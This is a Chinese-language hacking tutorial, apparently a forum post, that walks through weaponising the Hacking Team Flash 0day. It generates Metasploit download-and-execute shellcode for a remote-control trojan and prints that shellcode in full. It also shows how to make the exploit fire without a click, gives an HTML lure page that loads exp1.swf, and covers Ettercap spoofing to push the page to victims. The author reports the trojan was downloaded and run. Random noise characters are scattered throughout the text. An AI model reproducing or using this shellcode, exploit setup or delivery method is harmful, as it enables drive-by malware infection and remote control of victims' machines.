|
- L% n2 t' e9 Q { 三、flash 0day之手工代码修改制作下载者实例入侵演示 , s1 x8 |! z: H4 j
% ~# @0 R' ^' C, W; e- r
. I/ Q8 d% t( [' Z [+ O 利用到的工具: ( N9 @& Q- _7 r) Z6 h& i# t* G
- O' F9 ~( T7 q, p% W4 V0 o
R! J6 C+ P- C- K
Msf
1 ]% s- L5 z- a
0 h, C: b! E2 L0 Z8 M
. B/ ^5 d6 R. J* I9 T. \3 t Ettercap 0 P9 B) o0 s& n: H) _1 s5 q+ ]0 x/ n1 N
0 X3 D5 j9 w Y
9 [. a6 {0 B, F3 g
Adobe Flash CS6 3 ]/ Q% `3 i3 O
: O& O3 `& ^) {* `* v3 ]7 i* F% V0 _' @" l) U$ g+ f
Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份
$ ]& x4 ^( i% b6 { & y; U2 T9 S$ a$ F6 @" z: N4 z+ L
. d! ~# I% l7 g1 |& u) @ o5 n 下面我们就开始演示入侵,利用msf生成shellcode,首先打开msf执行use windows/download_exec,show options
6 r: Y. f5 B6 ?5 r: M* I" X% { 5 Y! s/ O; k. P5 k
2 \$ I. H/ Q/ d6 z9 A5 l0 n
如图:
0 M+ i) N$ {/ m% y0 w6 f : j, l6 s' ?' X& p. _) G
5 @# V) D; O9 j. R: T! {& b, k
% T5 f: j- y# x1 _ 0 ^" R7 w5 B" C3 K2 n
# g9 N. q) [ Q% T
8 f- G6 J" {9 m$ W2 V9 G& z ; g, U, u. y* v/ v
! Q, l) f* U' i$ l2 n2 e1 K; C
然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址,这里我们用远控马,远控配置使用不再详细说明。。。如图: 1 H* c; s# t4 E% w3 s! ~
. v8 T' w7 ]' F/ j% B. q3 D% S* {+ e# V
9 J4 i8 T, P8 y# K5 } 7 B& M& U! O5 D
! A$ P5 Y# a% E' T5 H9 i' G7 d: ~8 W. h
. k- a2 u9 M! _/ x
3 P8 Q$ L) a7 K& W3 L b7 |
% A+ n) T" W" e8 \( Z J5 v
然后执行generate -t dword生成shellcode,如下: 4 `# i$ I0 g: [6 Y+ n7 M& l e
0 ? p* M/ p6 r# t" t! e
: F6 X! N2 h6 x) O1 ]: t6 V / W* m! ]' B. Q7 I! G& Z8 M
) U. U& Q# w3 [7 L) s, R- Z
) {& L- e: u9 z- ~- J 复制代码到文本下便于我们一会编辑flash exp,如下: ! j4 f) L2 {% l( v. L2 `
4 Q1 M/ X" o% _# R7 ^
7 h0 _( o9 F m: |! ^. I& q, p 0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31, 5 L* z/ C3 Q/ i: U
) U% K) G+ n6 H% R# j) g/ S5 T) S( \/ N/ f! G
0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, 5 E1 u' ?. y% _* M: G
$ K# v0 x9 `, {" F) v8 x; x5 v) G: s6 ]7 Q6 {+ z; K
0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038,
- d4 Q5 y$ O: W1 g! ~9 ]
0 k& a+ h: j4 i; D( s
8 ?4 d7 H0 K- q! H2 H% f* V' | 0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, 3 f; n; h; ]( q+ j8 x
) p- x; S2 [9 b7 T4 m' f, n
. n. G6 G: P% h! S 0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854,
2 v( H% @1 q7 q7 s) ?" q4 Z
8 u7 R% k: {2 d+ S* b; D1 A
~' [& W7 U' Z! f# _. {* V; |- @ 0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51, ]0 P: d* Z5 V2 L$ M% w
8 n( }9 l2 [" c' B2 N( u" m- V+ T
+ R4 x* b4 K" ] 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, ; b, x5 l2 T8 v8 E0 B
3 w+ _$ V7 E/ R
" l: O; R- o' Y7 n9 |$ E 0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, ) o2 r% D2 s" E9 P
4 S O- K m3 a) ]& N7 v' T3 r) @
) P5 m) n5 V& C* Y+ ] 0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff, 3 }' `* |$ s# e f
& |; Y0 |5 c4 o @# |
& U) A1 G# d$ U' v. b 0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6, % n9 z( s! j* Z
* w* D- d, N, H% ?- M% ]7 w
* |% s/ T q: e A, A6 U- P* J" B
0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5, ) T" N: f; L& N8 |" }$ R6 t
+ k$ ?9 q% P3 a l# j l" ~7 u. a
+ K$ ]: J0 \ R! K7 y( i' K 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853,
9 e4 r* n( [7 }, ]4 N k9 ?8 { 7 V# @% c7 f% E+ z0 E# U
( y/ ?$ F+ q5 D5 M G
0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, $ m8 u w1 ]6 V: U6 Y6 {
j; g+ h2 | S% |& n7 F
1 Y1 C; h5 D( E. Q" E
0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 & c+ V, K& O1 ]6 ~7 \
8 K6 X* W0 v5 Y/ L1 p! q' v: X- G* a
+ f- K; T2 ]- @, i, {7 V$ V
+ L' D! z* }8 q3 A! p2 r
3 G* A5 v5 K2 ^) M & q5 c# P! T* Q. h$ M1 P8 @9 W
' J8 b: B- h; @/ g0 t5 \
: B1 q+ h; F8 R/ m0 r% ~ 下面我们来修改flash 0day exp,需要修改三个文件,分别为:
3 n& x8 i, \/ I. Q) o8 N : k i4 l% E$ P4 \3 S$ I1 y
8 J0 I9 m6 Z& b' d3 l( N 1 M( T" R$ |5 F; q2 V. y# M. B! C
" T6 o2 q& Z: M: [
, X, k7 ?7 F* {, Y9 \; o5 z
先修改ShellWin32.as,部分源代码如图: / w* I$ p! z" ^; w5 r$ I: d
) Z# M8 E' r7 p% i( { D( c$ l4 X$ M, O p- ^. P7 @2 Z
0 P q7 `) c* @( P$ M& v) R& W 0 ?- s |; L' l' @* {
6 b+ L3 ~+ c( t7 B5 |; v
我们需要把标记处[]中的代码改成用msf生成的代码,修改后如下: 2 U, c% L8 W8 Q, ]. `6 Q1 t
' l. d" Q2 s) i* g0 w* q
0 Z' I$ u5 J# a, r ; I) Q; s- Y& Y- Z- h T% t) H/ t
/ H# r& ]( ~$ C% m" a
) b5 _( x% @: v3 p' s/ a
然后保存,ShellWin64.as的修改方法如上述,不再演示,下面我们来修改myclass.as,这里需要说明一下,因为此exp生成的利用程序,不能直接自动触发flash漏洞,也就是需要点击按钮才可以,实际上在做渗透的时候需要把它搞得更完美,所以就需要修改,修改方法:搜索myclass的某个字符doc.addchild(btn);如图: $ P0 s7 f# Z1 C+ c* c6 ~. O- r
$ v w$ Z2 E, f- m& |+ l/ t; V; ?7 g8 k9 i2 Z0 a
- ^. g9 c- C' W 5 g: M3 h+ q1 D, X, b6 ~, y& ]
H7 r m' |; Z6 @
换行在后面加一句TryExpl();注意是l不是数字1,然后如图: ( k& L, Y3 E9 y5 ~
+ p# x: [/ j: |$ r% j* V( u
% }- i L1 T. `8 U8 [" f) L # ^& y9 U3 F' A) V9 t
/ u, @0 \, m5 p# m) l
% s" v; k* M: H( k$ O$ Q0 x3 c $ f/ ]7 V7 h8 \* T) T
8 y5 ~: E% R& P$ w: N$ n
) w& K9 ^ q6 A8 U3 h
. w, \3 e/ V: u, ]6 J5 O6 |8 |1 {
7 _+ }9 `2 z/ A* l2 _% o
" [' s: s8 Y/ S/ ^: M) a 然后点保存,下面我们来编译一下,打开 . c0 {0 f" O9 }$ ?+ w& F
" o, a: L6 D. w2 M/ g5 ]4 e% \; u+ _7 W, C- q
exp1.fla然后点文件-发布,看看编译没错误 y# D# t* O' s$ M. i4 F
4 c5 W1 f# i5 V5 `3 m
2 y/ e1 [5 @ }: k9 Q4 w) U. e! ~
' y/ B R+ O; U m: _9 f M% m
" @. Q; r1 f# h1 t8 W8 m- u0 u, r5 r3 ~# X5 y
' ~8 c* p5 ^) p8 j & e' n3 }! {5 k5 o5 e
6 t& u$ E9 k; e( S , p' s$ X9 z. I4 V1 e {
[. G5 d3 `, D u6 W
* e4 `$ J9 H' ~# h
/ z3 M( X: W& W; B
% M0 E- Z. l1 n3 P+ ~ u7 E: R3 q7 G
然后我们把生成的 ) V% \1 K1 \* E, N' d- p2 f
( c3 I2 s \! C7 F% b1 w! R! E% S8 c: Y, F' H; ^ U
exp1.swf丢到kailinux 的/var/www/html下:
( C* |/ B% K* L$ P
; ~: Q# r2 Z' z% [8 b
2 C+ `0 F9 } P 然后把这段代码好好编辑一下 - ]/ k I9 `- n4 U# N
" Y3 x# l3 v) u7 d3 ^9 Q4 u1 O$ e+ H7 T& O: L. A8 H
. y4 e. B N6 U6 ~
0 B9 k$ d* O+ {/ |+ R6 s# i9 q
4 n3 X0 S) x C! w/ v
& u# G1 W; J- f+ z
) U; @5 O) t4 z" `. O; R, i7 T& C* v0 J# }. P# n4 r
" N, u0 O1 y& @% D M
9 y6 L" p; s0 s: x/ J3 [
: j1 p4 s! u4 a# V- w0 L ' Y e/ B) e3 Z( }6 `( h( G" B0 A
& n, g# O3 \0 I6 `7 z
+ a @8 W. d) R) ^1 `/ ]: Y6 o
! r6 u4 T/ X& j$ f& j
( p( T9 ^- s0 a/ k8 n1 c5 C/ W/ M. h* X9 m- y
; {. E/ z" v0 Z: `; i
. i( D/ |- d; D) R; p4 ~) @* V1 f4 q
<!DOCTYPE html> ) S) i$ W, L: {/ ?, X' t
8 `7 u2 i/ I! u0 X3 K7 M
8 G& b1 k$ `+ [- _3 P <html>
' u6 t1 b/ v0 C- U0 r4 P P6 V5 y2 a& o, [
/ o) D- q3 |& Y4 y% b, d: p <head> : C- o9 J, Z/ s: d' N
$ h, D0 K& x1 Q8 o& ?7 c2 _: \2 s
<meta http-equiv="Content-Type" content="text/html;
( o8 a/ n8 A; h3 h & T3 S/ @5 k8 g t% a: j
- a2 |% _; K4 |2 O; f0 o
charset=utf-8"/> % [ ]& U/ c4 e' \, z8 w5 m
( ^6 G) y$ u- f+ `! U& W5 S
$ j3 n- q+ x6 e0 k </head> ; V" f* I$ q0 @% z& S- U* a5 ^
; n& m' N1 L+ r
+ f; F# y5 m5 y7 L0 @ <body> % a% \/ V" R/ n8 Q
7 q3 e' P7 V1 i
5 K1 p5 w: F- Q2 J6 d% y. b/ x3 ^5 h <h2> Please wait, the requested page is loading...</h2> 1 ~( b( F& L2 Y2 S/ u0 {7 d
) A! a% `/ [+ Z# B( n/ U( ]) G3 j
" I( N1 y/ ]$ k <br> 3 j$ Y- l: V j* T1 o. @9 M
9 D" s6 E4 q+ b9 c/ y
3 q: P* ], O3 o- w# h9 l- c <OBJECT
9 E+ N$ ~! H" f5 R # ^+ k1 M) I% |- V
. d {2 \$ `& ~ classid="clsid 27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4">< ARAM NAME=movie 4 t$ J. C% X% e% Y6 ~" H
7 l! f1 O4 }9 w, s t
" U6 w. n: |5 S7 G VALUE="http://192.168.0.109/exp1.swf"></OBJECT> 0 R; V/ M: r( e) K( Q+ y# D- J
4 i P6 x$ c. a. ^( F
6 M$ A* v; L3 P1 e </body>
8 L( W4 W- S' M2 u0 t- N8 j: x6 C6 } : i% Y' v/ D/ c
. B" X4 o. J' A2 V5 B) p* W <script> 0 n! z* |: \% F
+ I% D* G7 ?- B/ z, l' _( e
/ t) I4 I: }, V' p setTimeout(function () { ! Y% ]. g& H% E" C
j- `! ~2 h2 P3 G2 Y! C8 v3 ]3 C# x, w+ E" v! h. k
4 q, S$ p8 X; I: d( y, K: \
* q- L: M& d( A2 n
8 m8 g. p2 H* |( W5 i& N$ N
window.location.reload(); ; l# A9 _7 Z: i( t3 ?, X) ?5 S
8 h$ C+ d- D: T& X4 E5 J4 P6 Q, f/ o; H4 I6 S
}, 10000); & E" Z V! d- N- |7 Y
% N0 V% ^( }: g3 l* ?
- [( |& j3 Z( e& {5 C$ x 2 `3 V8 s0 _3 p3 m5 T
- M2 x) V3 k) j) z( ]+ P
! ?6 X" E5 n: K% Q. D# n. a
</script> 3 _6 M" @! x9 p& t, R5 s2 ~, z
( e/ R: x; Q( z T2 J- t# M
& d' S' N/ R1 Q6 ^7 h7 j
</html>
' R- c r+ Z+ G; b, i: `3 v% Z ' s5 I' `' B% r* O5 K
8 t: j5 c7 m& @2 r% _/ K
) D% R8 O% y0 e5 |; F6 S
1 v; N- q& u% r9 Z/ @& M1 i8 _
9 M$ {0 N: X. Z: N) Y 注意:192.168.0.109是kali的ip地址,这时候我们需要service apache2 start启动一下web服务,然后将上面的html保存为index.htm同样丢到kali web目录下,测试访问链接存在如图:
+ Z1 l! v& X; q# s+ x
9 H1 t [" J/ W
( z& w/ q* O7 } ? & g& U% m& H( v% a7 J; E) \6 T; M
; h6 b8 |, T7 T3 z4 Z* N: S( E* \
0 K6 o. H$ G7 T5 |4 t: O# ^' H & D! ~* v# U6 L @7 B5 \
& i8 U8 Z$ U" O0 h; B l& {) P1 M0 Z! U, D) ?" y) a
: M$ J6 F, G) P8 ?; B2 J c
0 `+ K |/ b8 ?( t( D: W4 u8 J
+ w. t$ @/ T% f0 u . _+ h2 U8 B2 c% D' W1 a
9 ?2 e6 q2 A# ?
. D) r% H5 H, ?2 \/ ^8 q/ E
: Q1 f* C) H+ j; u; n
7 Y* d X! e4 O& k9 m; |
, A; D2 h$ o* B4 E) l" M 下面我们用ettercap欺骗如图:
. s% U A) Z6 e. B$ X8 H+ L6 m" C) n 8 J* `. \# d5 \5 B" B6 h" @
9 ~: Y0 d" g( m: S( c
4 T- q- }7 { C" W( Z7 @ # k) ~* o( A" A& b" Z
3 N3 K+ g) P: y# s
7 M) l' u# T+ w* r+ R( ?& H9 o
* x' P7 r, @! W3 q7 T
- V) v ~/ {& A. b# B4 \ 下面我们随便访问个网站看看:
. d3 X7 g `; R# I 5 @5 ], y; G9 d5 q2 u% p4 U
- F, @1 a! z, T6 u; e! ` 我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功,如图: 6 w. w+ s& j% n5 w/ ^$ \/ u- k
0 Z1 h: K3 k0 I1 q' d' I
+ U; p6 N1 n" N5 B : J9 k# _1 A/ I5 K" R
- E: ^/ z2 {, t& Q2 y
- i7 v8 t( U* } 我们看另一台,
5 p0 S$ I% |3 x* S6 x+ H % E/ `, C5 |* e4 w+ R
4 y; |5 h5 r) t4 s* ^
提示这个错误,说明木马是成功被下载执行了, 只是由于某些原因没上线而已。。。
% v7 y% S; H6 j. f |